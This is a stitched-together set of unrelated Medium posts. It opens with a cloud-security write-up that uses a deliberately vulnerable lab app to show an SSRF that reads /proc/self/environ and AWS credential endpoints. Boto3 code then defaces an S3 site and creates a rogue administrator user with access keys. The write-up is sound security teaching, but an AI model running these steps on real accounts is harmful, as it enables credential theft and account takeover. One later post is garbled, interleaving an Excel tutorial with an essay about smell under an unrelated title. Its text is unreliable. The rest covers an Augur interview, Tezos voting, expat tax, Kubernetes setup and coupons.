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Privilege escalation in the Cloud: From SSRF to Global Account Administrator | In my previous stories, I explored different techniques for exploiting Server-Side Request Forgeries (SSRF), which can lead to unauthorized access to various resources within the internal network of a Web server. In some circumstances, SSRFs can event lead to API keys or database credentials getting compromised. In this story, I wish to show you that in the context of a Cloud application, the consequences of successful attack that uses this technique are decoupled. An attacker that can effectively leverage an SSRF on the right resource could gain complete access to one’s AWS account, and the only limit of what you can do from there is bound by your imagination. Spin a couple of c5.xlarge to harvest Bitcoins? Host a malware delivery network over S3? Your choice…
The DVCA Lab Environment
For this experiment, I have developed the DVCA (Damn Vulnerable Cloud Application), which is available on GitHub and has been inspired by the Damn Vulnerable Web Application project. DO NOT deploy this in your environment if you haven’t hardened it by restraining security groups to your own IP and/or change the IAM Roles given in the project. At the moment of writing, it is made of a static S3-hosted website delivered over SSL by CloudFront. You can choose wether you want a serverless backend using an API Gateway and a Lambda function, an ECS Fargate backend running a Flask container or a Classic EC2 backend running this same container. For the purpose of this article, I will concentrate on the Fargate backend.
The Damn Vulnerable Cloud Application architecture
From the outside, it all seems fair, HTTPS is active on both the frontend and the backends, the website is static and therefore protected from classic attacks like SQL Injections or Wordpress plugin vulnerabilities…
The DVCA interface
The SSRF is done through a Webhook tester, like in my first story about the subject. All backends are coded in the way that they receive an URL, read it using urllib and returns the result to the frontend, which displays it in the “debugger” frame.
Roles and Permissions in AWS EC2/ECS
In order to assume a role and effectively gain permissions relative to AWS resources, you will need three pieces of information: An AccessKey , a SecretKey , and a SessionToken , in the case that the credentials were issued by the Security Token Service (STS). In an EC2 or ECS infrastructure, each VM/Task can have a particular set of permission; For example, if your Web application needs to upload files to an S3 Bucket, you will need to assign it the s3:PutObject permission over the bucket. This means that our Fargate containers also need to get credentials from STS in order to do their job, if it implies calling AWS resources.
In a classic EC2 scenario, the credentials for a particular instance can be fetched by the EC2 instance (and only from there, since the endpoint is not public) from the Metadata URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/ . Note that you can also fetch quite a lot of sensitive informations from this IP, like UserData scripts that are likely to contain API keys and other secrets.
In the case of an ECS Task, the credentials can be retrieved from a different endpoint: http://169.254.170.2/v2/credentials/<SOME_UUID> . The UUID in question can be found in the environment variables of the container, more specifically the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI variable.
Abusing the IAM Services through SSRFs
Since the STS service is available through normal HTTP endpoints, we can trick the Fargate backend into making arbitrary requests to these endpoints, and the Frontend will happily display the result to us. But how could-we find the credentials UUID needed for the request? Well, in my other SSRF story, I showed that you can read a file using the file:// scheme. So assuming the backend is a Linux-based server, you can read the environment variables by pointing your request to file:///proc/self/environ .
The relative URL for retrieving the credentials, including the UUID, can be found in /proc/self/environ
Yay! Now, we can use this URI to retrieve credentials:
Credentials retrieved from an SSRF request
Using the credentials
In order to use these credentials in a creative manner, I would suggest to use boto3 , the Python SDK for interacting with the AWS Api. Upon creating the boto3 client object, the constructor accepts credentials as parameters, so we can pass it those received from our SSRF:
sts_client = boto3.client(
'sts',
aws_access_key_id=access_key,
aws_secret_access_key=secret_key,
aws_session_token=session_token,
)
Now, to be sure that our credentials work and that we have effectively elevated privileges, the STS service has an AWS equivalent to the whoami command: get-caller-identity . Let’s verify:
> print(sts_client.get_caller_identity()['Arn'])
> arn:aws:sts::0123456789:assumed-role/DVCA-Fargate-Backend-DVCATaskRole-CLOUDFORMATION_ID/SOME_UUID
Bingo! Now my laptop is considered by AWS like the Fargate backend of my application, meaning I have access to everything it has access. Reagarding S3 for example, the backend ECS Task has this set of permissions defined:
- Effect: Allow
Action:
- s3:GetObject
- s3:PutObject
- s3:ListBucket
Resource: '*' # Tip: Try to never wildcard access to resources
Now, if the domain name of the DVCA is a “root” domain (that has no subdomain), chances are that the underlying S3 Bucket name is the same as the domain name, because of the way Route53 Alias Records makes it just easier to work this way. We can use this to modify the static website and inject a rogue mining script in it (for example), effectively defacing the static S3 website!
s3_client = boto3.client(
's3',
aws_access_key_id=access_key,
aws_secret_access_key=secret_key,
aws_session_token=session_token,
)
s3_client.put_object(Body=rogue_bytes, Bucket='domain.name', Key='index.html')
Also note that s3:ListBucket permission which also enables the serverless equivalent of directory listing…
Taking over
Let’s say your Web Application has the right to create roles (a role for each customer, for example) and that this permission was implemented as
- Effect: Allow
Action:
- iam:* # Living dangerously
Resource: '*'
(Very dangerous, but I am sure there are plenty of way too permissive implementations of this in the wild) for the sake of simplicity. Using the credentials retrieved through our SSRF technique and passing them to boto3 we are able to create a new Global Administrator user and create him Access Keys in just a few lines of python:
iam_client = boto3.client(
'iam',
aws_access_key_id=access_key,
aws_secret_access_key=secret_key,
aws_session_token=session_token,
)
iam_client.create_user(
UserName='DVCA-RogueUser'
)
iam_client.attach_user_policy(
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess',
UserName='DVCA-RogueUser',
)
key_response = iam_client.create_access_key(UserName='DVCA-RogueUser')
In this example, the keys will be in the key_response object, which you can just print-out.
At this point, you won. You basically own everything in this account.
A rogue administrator user created using the backend’s credentials
Future work: The Lambda Backend
Even though I included a serverless Lambda backend in DVCA, I was not able to exploit it yet. In this case, the credentials are injected directly in Python's os.environ , but are not part of /proc/self/environ or /proc/self/task/1/environ . I know that they are injected at the bootstrap using lambda_runtime.receive_start() , but I am not sure they are anywhere to be found on the filesystem. AWS Lambdas also do not have a metadata endpoint from which we could fetch them. My next hypothesis would be to try to retrieve them from memory, by looking at /proc/self/map* files.
So if you have an idea, drop a comment below!
Happy hacking! :-) | https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 | ['Maxime Leblanc'] | 2018-09-01 13:01:01.509000+00:00 | ['Information Security', 'Hacking', 'AWS', 'Cloud Computing', 'Cloudformation'] |
The Fix implemented was: The entire login flow was revamped and the | The function format_excel() above accepts writer as a parameter which is of type XlsxWriter. To automate this process, depending on your workflow, you can add this as a function to your scripts by calling format_excel() wherever you are using with pd.ExcelWriter( … ) as writer and pass writer to format_excel( … , writer=writer).
Save the above snippet to your local machine as xlsxwriter_hello_world.py. To execute the script, navigate to the directory where the file is saved and run the command python xlsxwriter_hello_world.py. The script will generate a file called testing_xlsxwriter.xlsx with ‘Hello World’ located in cell A1.
Air fresheners are another example of this phenomenon, specifically ones that convey freshness. Here, natural smell provides the true data, “how clean is this car, or how new is this car.” Air fresheners attempt to falsify that data. The car is not going to smell like a “new car” no matter how many little “new car smell” trees you hang from your rear view mirror.
Amy Cesal is a designer specializing in data visualization. She is a co-founder of the Data Visualization Society and currently serves on the board. Amy is passionate about building style guidelines for data visualization, trying to make everything, including charts, accessible, creating bespoke data visualization and experimenting with the boundaries between data and art. She holds a masters in Information Visualization from MICA.
There are many natural data smells that we use to avoid harm. The smell of food provides us with data about its appeal, nutrition, or toxicity. For example, the smell of burning food tells us how our cooking is going (badly), while the smell of rotting food tells us it is time to clean out the fridge. Indeed, the very fact that certain things smell good or revolting to us is the result of thousands of years of evolutionary selection: things which are dangerous to us tend to smell bad, and things that are good for us tend to smell good.
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XlsxWriter is a powerful Python package that you as Data Analysts can use to improve your efficiency when outputting data. You can easily use the XlsxWriter package to apply table formatting to Excel tables along with auto-fitting column widths to the data you extract.
You can use XlsxWriter as an engine for Pandas ExcelWriter class to output a DataFrame to Excel. Below we have included a simple script which will create a Pandas DataFrame with three columns and output it to an Excel file.
Something that I often find myself repetitively doing is opening an Excel file, formatting the data into a table and auto fitting the column widths. Whilst this isn’t a labour intensive job, I find myself doing it 5–10 times a day, so the time spent over the week builds up.We spend a lot of time thinking about visualizing data here at the Data Visualization Society, and rightly so; it is a great way to use our one of our most powerful senses (sight!) to make sense of data! However, I’m intrigued by moving past just the visualization of data and into other senses, like sound (TwoTone: a data sonification app and Loud Numbers: a data sonification podcast), touch (dataphys.org: a list of physical visualizations and DayDohViz: play-doh visualizations), and particularly smell!A few weeks after moving into a new, old house and working from home all day, I felt sick. I called my husband who was traveling, and begged him to come home early for the weekend.
For example, before going in for a kiss, you might pop a stick of mint gum or a swig of mouthwash to freshen your breath. The scent signals real data: hygiene level. You want to appear clean, like you just brushed your teeth, even though that may not be true. There’s a similar motivation for applying perfume or cologne before going out on a date. These things cover up the true data (your scent), which might be less appealing.
Line 3 within the above snippet creates a worksheet object by using the sheet_name parameter. Lines 6–7 collect the headings from the passed DataFrame along with the shape. The DataFrame headings will become the Excel table headings, and the DataFrame shape will guide where the script will apply the Excel table formatting. Line 10 creates the Excel table using the DataFrame column names and shape. Line 13–15 then loops through each column and calculates the maximum length string that appears and sets the width to that value plus two.If you are new to Pandas DataFrames, we have written an in-depth guide explaining Pandas Series & DataFrames which you can reference. Lines 5–11 within the above Python snippet creates a populated DataFrame and lines 13–14 uses Pandas built-in ExcelWriter function to create the Excel file.Natural gas is one of a few instances of man-made data smellification. Mercaptan liquid is added into the naturally odorless natural gas so that leaks can be readily detected. It was because of this smellification process that my husband could notice the leak. Without this intentional addition of scent, natural gas leaks would be impossible for the average consumer to detect.
Now that we have learnt how to output a DataFrame to Excel, your next steps should be learning how to navigate a DataFrame through iteration or cleaning the extracted data before outputting it to Excel.
Leanne Wijnsma and Froukje Tan started The Smell of Data project to alert internet users of data leaks on personal devices using smell. I’m excited by this project of adding smell as a way to detect the presence of information. We don’t use our sense of smell as often as our other senses, and this project uniquely harnesses that with a custom scent.
The Smell of Data recognizes when you visit an unprotected website on an unsecured WiFi network or Hotspot. The Scent dispenser will release a puff of the Smell of Data as a warning signal.
This is not the only common case of data smellification, however. In fact, we often add smell to things to give “false data” or to give the impression that something is better than it actually is.
He walked in the door at 11pm, and announced “it smells like gas in here.” We called the gas company, and the technician found 4 gas leaks throughout the house. I couldn’t detect the small increase in the amount of natural gas, but coming in from fresh air, my husband could. He probably saved my life.
Amy Cesal is a designer specializing in data visualization. She is a co-founder of the Data Visualization Society and currently serves on the board. Amy is passionate about building style guidelines for data visualization, trying to make everything, including charts, accessible, creating bespoke data visualization and experimenting with the boundaries between data and art. She holds a masters in Information Visualization from MICA.
Being able to extract data from a database and output it to Excel is a crucial skill to have as a Data Analyst. Today we are going to look at using a Python package called XlsxWriter to output a small DataFrame to Excel. XlsxWriter is a powerful package that you can use to auto-format Excel worksheets, change the styling and insert objects such as tables.
There are several ways that you can install XlsxWriter. The easiest method would be using the Python package installer called pip. Open up a terminal and run the command pip install xlsxwriter. | https://medium.com/@sfb_boyo/the-fix-implemented-was-the-entire-login-flow-was-revamped-and-the-9034ad04b734 | ['Sfb Boyo'] | 2020-12-04 07:51:25.766000+00:00 | ['Games', 'Babies', 'Trump', 'Education', 'Health'] |
Meet Poyo: An Interview with Augur’s Most Controversial Cat | Poyo has been called a troll, scammer, scheming mastermind and incompetent fool. There’s probably some truth to all of these labels for the controversial Augur trader and self-christened “sof’ cat of predictions.”
I first stumbled across Poyo in 2016 when I sighted a whiskered avatar in the comment section of PredictIt. The prolific commenter liked to boast about its “sof’ and fluffy fur” when not discharging poorly spelled political predictions. A bit strange, I thought. But then again, the Internet is full of strange.
Harmless kitty cat or international scam artist?
I mostly forgot about the mysterious feline speculator until last summer when I spotted Poyo rolling around the Augur Discord. Poyo has since emerged as the Augur community’s most controversial figure. It appears Poyo has taken advantage of a glitch on Augur v1 to create and profit off of Invalid markets, luring liquidity from unsuspecting traders. Many in the Augur community have criticized Poyo and rightfully so.
But Poyo has also helped put Augur incentives to the test and expose current vulnerabilities. Augur is designed such that the individual actions of self-interested actors should align with the collective utility and security of the platform. With V2 and further improvements, the scheming, self-interested Poyos of the world may increasingly become an asset rather than a liability to Augur traders. They will be incentivized to create legitimate and popular markets rather than misleading ones. (In the meantime, a friendly reminder to always check the details of any Augur market before trading to verify that the expiration dates match up and that the market is otherwise valid).
I was curious to find out more about this eccentric figure, so I sent Poyo some questions via Reddit on his (or her) experience with prediction markets and Augur and thoughts on the 2020 election. What follows is an account of Poyo straight from the horse’s (or kitty cat’s) mouth.
Please take all answers here with a grain of salt, and don’t assume anything is truthful. Oh and forgive the spelling and punctuation errors. Poyo is just a cat!
When and how did Poyo first discover prediction markets?
I first discovered prediction markets when i saw an website ad for PredictIt in summer 2015, and used to have fun small-time betting on candidates during the time of the early primaries debates. In December that year, I realized I could make $50 a day just buying and selling the main runners back and forth. I did not know that was called “market-making” at the time. My fur is fairly fresh.
Do you recall the first trade you ever made?
Probably a “yes” on Trump when he was around 16 cents to win nomination, and some at 11 cents to win the general. Am soft.
What’s the best trade or prediction poyo has ever made?
Hmm, well, market-making-wise is one answer: The Trump Cabinet Markets, Sec of State, Sec Defense, Attorney General, etc, ie Giuliani, Shannon, Kobach, Gowdy, Romney, Bolton, etc.. I made 20K that month, largely because there was a lot of disposable money on Pi in hands of people who had just been made foolishly overconfident by having their longshot bets pay off on Trump winning the general election.
Also, a lot of the Pi vets who used to compete with me were liberal-leaning, had maxed on Clinton 7-fold, and became so disgusted with Trump winning that they apparently left the site, leaving spreads rather open.. Wagering-wise, is another: maybe France election Juppe maxing at 2c, or betting on TCJA by end of 2017 or on the early Pi tweet markets when they were still thick in open offers.
Aside from PredictIt, have you participated in other prediction markets or betting platforms?
looked into betfair until they KYC’d, so the answer is just Augur, and Veil. Back in 2008 i came across iowa electronic markets, and maybe another, but did not do anything with them then.
How did you first come across Augur and do you have any broader interest in in crypto?
i heard about augur from someone i knew from pi comment boards. before augur i had a small amount of bitcoin purchased. had no other interest in crypto other than that before augur. i am not focused on any other crypto matters really unless i hear of something to make income off of, or that is really interesting
Any reflections or lessons learned from the famed midterms market? Are you surprised that it resolved the way it did? Would you have done anything differently in hindsight?
Yes, I wish I had planned it as a scam market from the beginning, i could’ve made thousands, rather than trying to take advantage of it after the fact, once it became apparent that it should resolve as Gop.
Illustration by Sai Li. Originally used here.
As someone who’s deliberately created invalid markets, d’you have any tips for Augur traders in terms of any red flags they should keep an eye out for in a market’s design or fine print?
Fun Fact: I have never specifically tried to make a market invalid. These are old-wives’ tales.
How did you get banned (and unbanned) from the Augur Discord?
I posted too many cat images, i asked for bribes, i insulted people as I was taking leverage of my power in owning the most OI market at the time (House market). I got unbanned by sybiling
On the Augur leaderboard you have one of the highest all time losses while on Veil you have one of the highest all time earnings. What d’you attribute to your success on Veil thus far and your losses on Augur?
On veil there were a fine amount of people wagering on oscars markets, so i was able to be market maker there, placing orders of 1–3 shares about 5 cents away from the runner’s ideal points. Almost all my gains listed in the veil leaderboard come from Oscars markets. On Augur, I don’t think ur stat about my losses is accurate. but I did lose a bunch being over-confident at the beginning, maxing out my own market that turned out invalid (eth sept 3–30).
I know you’re fond of predicting politics. We are now on the brink of perhaps the most crowded primary field in presidential election history and a highly contentious election in general. Any general thoughts headed into 2020?
I am heavily making market on the Dem-Nom race on Pi, and will do so thru the election. Hopefully my fur stays nice and fluffy as it stands currently. It is a tough call.
In your opinion, who’s the most underrated Democratic candidate in terms of odds of being nominated?
Tulsi Gabbard. Just kidding. Kamala Harris.
Most overrated?
Joe Biden.
Who d’you think would have the best shot against Trump in the general?
Maybe Beto. his positivity may be able to encapsulate trump’s negativity. so his odds, relative to odds of being their nominee, might be highest.
Is Poyo a member of the Yang Gang?
Softness.
In 2024, who will be elected president: AOC, Dwayne Johnson or Kanye?
AOC, hopefully.
When not pawing at order books, poyo likes to provide thoughtful commentary
What d’you see as the main advantages of Augur/Veil over PredictIt and vice versa at this point in time?
Depends on what ur role is. Augur offers a whole host of other ways to make money than Pi does. be it on validity swings, a bigger set of naive entry-level traders willing to make very costly bad purchases (such as eth 1–100–1000 march).
How d’you think we can get more folks from centralized PMs like PredictIt to give Augur a try?
Make it more user friendly. Have comment section on each trading page to foster a vibrant communicating community. Like Pi has. Develop a playful culture around the augur community, where people can share their losses and share the times they win out.
What’s something you would like to see improved with Augur?
All the common qualms. Needs more users, people who Wager, not just market-makers out for steady profit.
Any thoughts on how Augur can get more traction for the upcoming election cycle?
get a social community thriving around the platform, with everyone sharing the trades they make, talking about their wins and loses, arguing with each other, right on the trading page, that all the casuals can be a part of.
What do most people not know about poyo or what’s the biggest misconception of poyo?
Poyo is very soft, everyone knows that. Next question.
What’s poyo’s favorite movie?
Poyopoyo Kansatsu Nikki. Just kidding. Cast Away, starring Tom Hanks.
What does poyo like to do for fun?
I like to go around tempting people to pet my soft tummy. and i do jigsaw puzzles.
What are you planning to do with all your Augur winnings?
Buy a softer pillow and maybe lots of cat food. This is well known.
Thanks for reading. To stay ahead with fresh insights on the future of prediction markets, join my newsletter The Augur Edge. | https://medium.com/sunrise-over-the-merkle-trees/meet-poyo-an-interview-with-augurs-most-controversial-cat-a6bccae9ffe7 | ['Ben Davidow'] | 2020-05-07 22:01:28.889000+00:00 | ['Trading', 'Ethereum', 'Prediction Markets', 'Augur', 'Crypto'] |
Tezos: in favor of Baking Accounts | UPDATE: based on further analysis by Nomadic Labs, it is no longer recommended to vote for Baking Accounts as proposed during phase 42. See below.
We still believe Baking Accounts is a needed Tezos feature for the reasons explained below. We hope that Nomadic Labs will propose a newer version at a later date that addresses the issues they found.
Tezos is a self-amending blockchain protocol governed by elections by the validators (or bakers). The voting process has three phases:
proposal period where bakers upvote to select the best proposal testing period where bakers vote to evaluate the specific proposal selected at phase 1 promotion period where bakers vote to migrate the blockchain to the new protocol
Phase 1 has traditionally been a non-event since there was always one serious proposal put forward at a time by the teams working on the Tezos protocol. This time however, the teams at Nomadic Labs, Marigold, DaiLambda, and Tarides have put forward two proposals, which differ in just one feature: whether or not to activate Baking Accounts.
What are baking accounts
Bakers have always been identified by the public key hash of the account where they store their bond (starting with tz). If bakers want to change this key for any reason, they lose all their delegators and have to broadcast the new key to them and get them to delegate to their new key.
Most other delegated proof-of-stake blockchains (for example Polkadot) add one level of indirection in the form of a second key. The “parent key” is the one delegators pick, and the “child key” is responsible for signing consensus operations. This makes it possible to rotate the consensus key. It is useful in case of unplanned incidents (key compromise, forgetting the seed for a hardware wallet) or planned operations (rotating to a new cryptographic protocol).
Baking accounts start with SG1 and this will be the key that bakers advertise to their delegators. All existing bakers and their delegators do not need to do anything, they will keep baking without any disruption. It allows the Baking Account to be collectively managed by a multisignature setup. All details are in the Tezos Improvement Proposal (tzip).
Upvote baking accounts
Protocol 009-PsFLorBA contains baking accounts, and protocol 009-PsFloren does not. The community has until March 14th, 2021 to upvote their proposal of choice.
Baking accounts is a good design, and Tezos needs it. What is more, the proposal is designed for minimum controversy. Problems that were raised in the past were:
separation of keys makes it theoretically possible to assign different permissions to each key, for example making the consensus key non-spendable. This has implications at the individual baker’s level and at a network-wide level. In Florence, this has not been done , and both baking key and consensus key have the same permissions, preserving the status quo and all its implications in terms of network security,
, and both baking key and consensus key have the same permissions, preserving the status quo and all its implications in terms of network security, separation of keys make it also conceptually possible to add arbitrary computation into the baking process (a.k.a. stateful baking accounts). This also is not allowed in Florence with the exception of the multisig ability. In particular, the ratio of self-bond vs delegated amount remains at 1/8, so this proposal does not change the equilibrium between bakers and their delegators.
Not everyone agrees whether the consensus keys should be spendable, or whether smart contracts should govern the baking process, but nearly everyone agrees that it should be possible to rotate consensus keys. This proposal does only that, and the more controversial changes are left for the community to decide in a future round of voting.
A good reason to vote against Baking Accounts would be that it is disruptive and forces too many breaking changes in the ecosystem (indexers, bakers, smart contracts). However, moving it to a later date does not change this fact, so now is a good time.
How to upvote
UPDATE: this blog post from Nomadic Labs explains why the current baking account proposal is flawed and should not be upvoted as-is.
As a baker, to upvote Florence with baking accounts, run the following:
tezos-client submit proposals for <delegate> PsFLorBArSaXjuy9oP76Qv1v2FRYnUs7TFtteK5GkRBC24JvbdE
To upvote Florence without baking accounts:
tezos-client submit proposals for <delegate> PsFLorenaUUuikDWvMDr6fGBRG8kt3e3D3fHoXK1j1BFRxeSH4i
All details about the voting process are in the Tezos documentation. | https://medium.com/@midl-dev/tezos-in-favor-of-baking-accounts-3886effa370c | [] | 2021-05-02 17:20:59.236000+00:00 | ['Blockchain', 'Proof Of Stake', 'Tezos'] |
US Expat Tax: All that you need to know | 1. Mistakes can be amended
Many expats are unaware that you can amend a payment if you have made any mistake while filing tax. In case you haven’t reported all your profits in your return, or in case you didn’t take all the deductions allowed, you may need to report an amended return for that tax year on form 1040x. Filing an amendment earlier than the IRS finds the mistake is the better alternative, as penalties are often much less. Once the accurate return has been filed, the clock starts ticking, and amended returns will typically need to be filed earlier than a certain date to get a credit or refund.
2. Tax Treaties
America has signed tax treaties with nearly 60 other counties which don’t prevent expats from having to file returns. That said, some expats take advantage of provisions inside a tax treaty, most customarily students, teachers, and researchers, and on occasion retired expats, and athletes. Tax treaties in majorly define which country gets to tax various forms of profits first, and also often permit the two countries to access personal and economic data to help police tax evasion.
3. Do not pay double tax
The USA has put numerous important deductions, exclusions, and credits in place to ensure you aren’t taxed two times on the same profits. Many expats are able to offset all of their foreign earned profits with the following:
· foreign tax credit
· foreign earned earnings exclusion
· overseas housing exclusion
Don’t pay American expat tax for your earnings two times! US taxpayers may be eligible to assert the foreign tax credit score towards profits that have already been taxed by using their host country. For the exclusions, you have to qualify as an official expat and have overseas earned income, and also you ought to file your returns to prove that you are eligible for those blessings.
4. Residency Test
To get the foreign earned income exclusion you should be a resident of a foreign country and physically present in the country for 330 days in a year. You should have lived for a calendar year and should not have an intention to return to US immediately. Consider this exclusions before paying your American expat tax.
5. Totalization Agreement
The united states has treaties referred to as totalization agreements currently with 26 different countries that let Americans living in those countries pay either US or overseas social security contributions (however not both) that depend on both the countries pensions schemes. Commonly, if an American might be working overseas for less than 3–5 years after which returning to the United States, they will continue paying US social safety taxes and won’t have to pay host country contributions. If they are planning to live overseas longer although, they will normally have to pay social security taxes in their host country.
precisely, American citizens working overseas nevertheless should file American expat taxes, but when they do if you want to claim one or more exemptions that in most cases reduce their US tax due to zero. They’ll additionally have extra US reporting requirements relating to any foreign bills, investments, commercial enterprise interests or assets they will have.
If you are an American citizen working overseas wants assistance in paying your American expat tax, consult with the expert team at Avant Tax to know your obligations and deductions. We have helped large number of clients to save on their American expat tax. | https://medium.com/@akhilajith001/us-expat-tax-all-that-you-need-to-know-b3bfc88a87e7 | [] | 2020-12-08 19:59:06.577000+00:00 | ['Us', 'Taxes', 'Financial Planning', 'Texas'] |
How to install Kubernetes on Ubuntu 18.04 | installing Kubernetes
first step to install Kubernetes is to disable swap. open /etc/fstab and comment swap line
save file and exit. then run this command sudo mount -a to apply changes.
then execute
sudo swapoff -a
to ensure run htop and swap capacity must be zero.
Swp must be zero
for installing Kubernetes I use this link (https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/install-kubeadm/)
running these commands is enough:
sudo apt-get update && sudo apt-get install -y apt-transport-https curl
curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
cat <<EOF | sudo tee /etc/apt/sources.list.d/kubernetes.list
deb https://apt.kubernetes.io/ kubernetes-xenial main
EOF
sudo apt-get update
sudo apt-get install -y kubelet kubeadm kubectl
sudo apt-mark hold kubelet kubeadm kubectl systemctl daemon-reload
systemctl restart kubelet
create cluster
master
kubeadm config images pull
sudo kubeadm init --pod-network-cidr=10.244.0.0/16
at this time it is important to keep in mind if you want to use flannel for container network interface pod-network-cidr must be 1.244.0.0/16 but for other CNI this might be different. please read this doc: https://kubernetes.io/docs/concepts/cluster-administration/addons/
after running this command you should see this :
Your Kubernetes control-plane has initialized successfully! To start using your cluster, you need to run the following as a regular user: mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config You should now deploy a Pod network to the cluster.
Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at:
/docs/concepts/cluster-administration/addons/ You can now join any number of machines by running the following on each node
as root: kubeadm join <control-plane-host>:<control-plane-port> --token <token> --discovery-token-ca-cert-hash sha256:<hash>
as explained above execute below command as a regular user
mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config
now is time to build networking between k8s components. I use flannel but there are other options. see addons link above to complete detail.
after executing the command above run
kubectl get pods --all-namespaces
and all pods should be at the Running state
worker
for adding a worker machine to your cluster all thing you should do is running :
kubeadm join <control-plane-host>:<control-plane-port> --token <token> --discovery-token-ca-cert-hash sha256:<hash>
if you remember the command was shown after running kebeadm init command. | https://medium.com/@soroush.mbk/how-to-install-kubernetes-on-ubuntu-18-04-48288e5926d4 | ['Soroush Karimi'] | 2020-02-03 09:54:55.708000+00:00 | ['DevOps', 'Ubuntu', 'Kubernetes', 'Docker', 'Container Orchestration'] |
How to use coupon code save money at PromoSearcher.com | Making use of online discount coupon codes or promotion links when shopping online can be similar to making use of paper vouchers or shopping the sales at local shops. Yet unlike paper vouchers that you hand to a cashier to retrieve, online stores have a code to go into throughout check out that connects to a certain price cut which quantity is subtracted from the total purchase. The price cuts vary from dollar-off financial savings to cost-free shipping as well as beyond.
How do shoppers locate online discount coupon codes?
When discount coupon codes initially began circulating, they were rarely found on retailers’ sites. Instead, coupon codes appeared on associated shopping websites in order to lead buyers to the merchant’s online store. Today, several retailers remain to have discount coupons on related internet sites, however additionally supply several coupon codes on their shop’s sites or through weekly e-mails that are sent to their consumers.
The most effective way to situate a coupon code is by using your preferred search engine such as Google and also keying in “Voucher Code.” This will create a list of sites that provide discount coupon codes. Buyers can then check out the internet sites and contrast the promo code financial savings that are readily available.
Occasionally consumers can find coupon codes for certain shops after they have actually chosen what they intend to acquire. This can be done by putting the store’s name and “coupon code” right into the search engine. For example, if a buyer understood they intended to purchase a gown from Macy’s, they might find the available coupon codes for Macy’s by getting in “Macy’s Voucher Codes.”
What are “connected” discount coupons and also just how do you redeem them?
A connected voucher does not have a real coupon code to trigger the promotion, however, instead includes a unique link. When you click the link, it will certainly take you to the on-internet shop as well as you will certainly get the price cut automatically when you check out.
Exactly how do I retrieve a voucher code?
Depending upon the internet store, there are a couple of different locations to get in discount coupon codes. Sometimes, the discount coupon code can be entered in the purchasing cart, before taking a look at it. Various other times, the voucher is entered on the order testimonial page before taking a look at it. Browse thoroughly for the discount coupon codes (also called coupon code) “submit” area before completing a buy from an on the internet shop.
What if I don’t see any type of location to place the code?
Check as well as see if the website has a Frequently Asked Question (frequently asked questions) section for an answer to the concern. Often times you can locate it on the “Customer support” area of a website. If you do not see it anywhere on the website, call and also ask the customer care representative to discuss how to make use of voucher codes on the website.
Just how do I understand if a discount coupon code is working?
Typically, the vendor will certainly have a web page showing how much you are being billed for the product, how much is being marked down because you submitted a coupon code, and also any type of delivery fees that may be applied. This must reveal on an order web page before you send your authorization of the charges. If you go into the voucher code and also do not see the discount rate on the order evaluation page, try calling customer support prior to completing the purchase.
Just how do I understand if a “connected promotion” is functioning?
Generally, a linked promotion will certainly take you directly to the product that is being advertised at a unique cost or the web page that advertises the price cut. If it does not, then seek it on your order web page before you approve the deal as a wanted purchase.
Suppose the discount coupon code is not functioning?
Many times, on-line shops will omit an expiration day for a coupon code so that it can be closely monitored and changed or stopped quickly. Online shops might change or cease any kind of promotion at any time. If a discount coupon does not function, it is best to seek another code.
Can I utilize the internet promo codes in my regional shops?
Local shops are not bound to honor online offers unless the promotion especially specifies or else. If you publish out the offer as well as bring it to the shop, some stores will recognize it as a politeness to you. Everything depends on the deal and which store it is, yet it never harms to ask.
Can I double up on voucher bargains by utilizing greater than one by one?
A lot of discount coupon codes specify that only one promo can be utilized per deal or per thing bought. You can get even a lot more cost savings by seeking a discount on the item that you acquired with a discount coupon code. Refunds are relatively plentiful on digital devices, computers, software, and home enhancement products. If you can not discover one online, get in touch with the store’s customer care division and figure out if one is available for the item you desire to acquire.
Going Beyond Online Discount Coupon Web Sites
While it is essential to locate your preferred internet sites that specialize in coupons for shopping online, you can additionally go to popular refund internet sites that not just provide discount coupon codes but will also give added rebates if you purchase.
For example, Ebates.com is a shopping website that provides its members on the internet coupons and cashback from purchases made at over 2,500 online shops. There are no types to fill out or charges for consumers to make use of the service. When a shopper makes a purchase via an Ebates web link, Ebates gets a commission from the merchant as well as provides part of that payment back to the customer. The amount saved can truly accumulate, especially for consumers who make a lot of internet purchases.
purchases with an Ebates web link, Ebates gets a commission from the seller and also provides part of that payment back to the buyer. The amount saved can actually add up, particularly for shoppers that make a lot of on-line purchases.
Fortunately, visit promosearcher.com to start using coupons immediately | https://medium.com/@ss18918569787/how-to-use-coupon-code-save-money-at-promosearcher-com-2c98f113615a | [] | 2021-02-07 12:08:36.539000+00:00 | ['Coupon'] |
Hi Varshita, | Hi Varshita,
Thanks for writing a one-stop-destination article on AutoKeras as you rightly pointed out there are hardly any articles on this topic and the ones which are available deal with datasets like MNIST, CIFAR etc.
My current research work involves articulating various open-source AutoML libraries existing today and to test how they fare on different datasets especially when it comes to computer vision starting with image classification problems.
I would like to query
a) if it’s possible, to get a F1 Score or Accuracy for that matter above 90% on test dataset by running the model let’s say for 10mins. Assuming the dataset at hand is pretty common one like let’s say cats_vs_dogs.
I know for a fact that AK via NAS solves the challenge of not fighting with various SOTA NN architectures by automating this part. However, I am curious if one of the purpose of AK is to come up with better evaluation metric with reduced train time.
Secondly, have you tried using TPOT+pic2vec on image classification problems. I am currently testing it on a fairly simple dataset, cats_vs_dogs and will share my observations once I am done with it.
Best,
Amit | https://medium.com/@rwamit/hi-varshita-5c9af6091f41 | ['Amit Kumar'] | 2020-12-14 13:52:46.537000+00:00 | ['Deep Learning', 'Autokeras', 'Python', 'Image Classification'] |
5 Tips to Buying Bitcoin in Australia | Bitcoin — The Cryptocurrency Craze
You may have heard about the cryptocurrency craze that is spreading the world over. Bitcoin is a kind of cryptocurrency that can now be used to buy almost anything online. It is just one of the currencies that can be used for the purchase of items online.
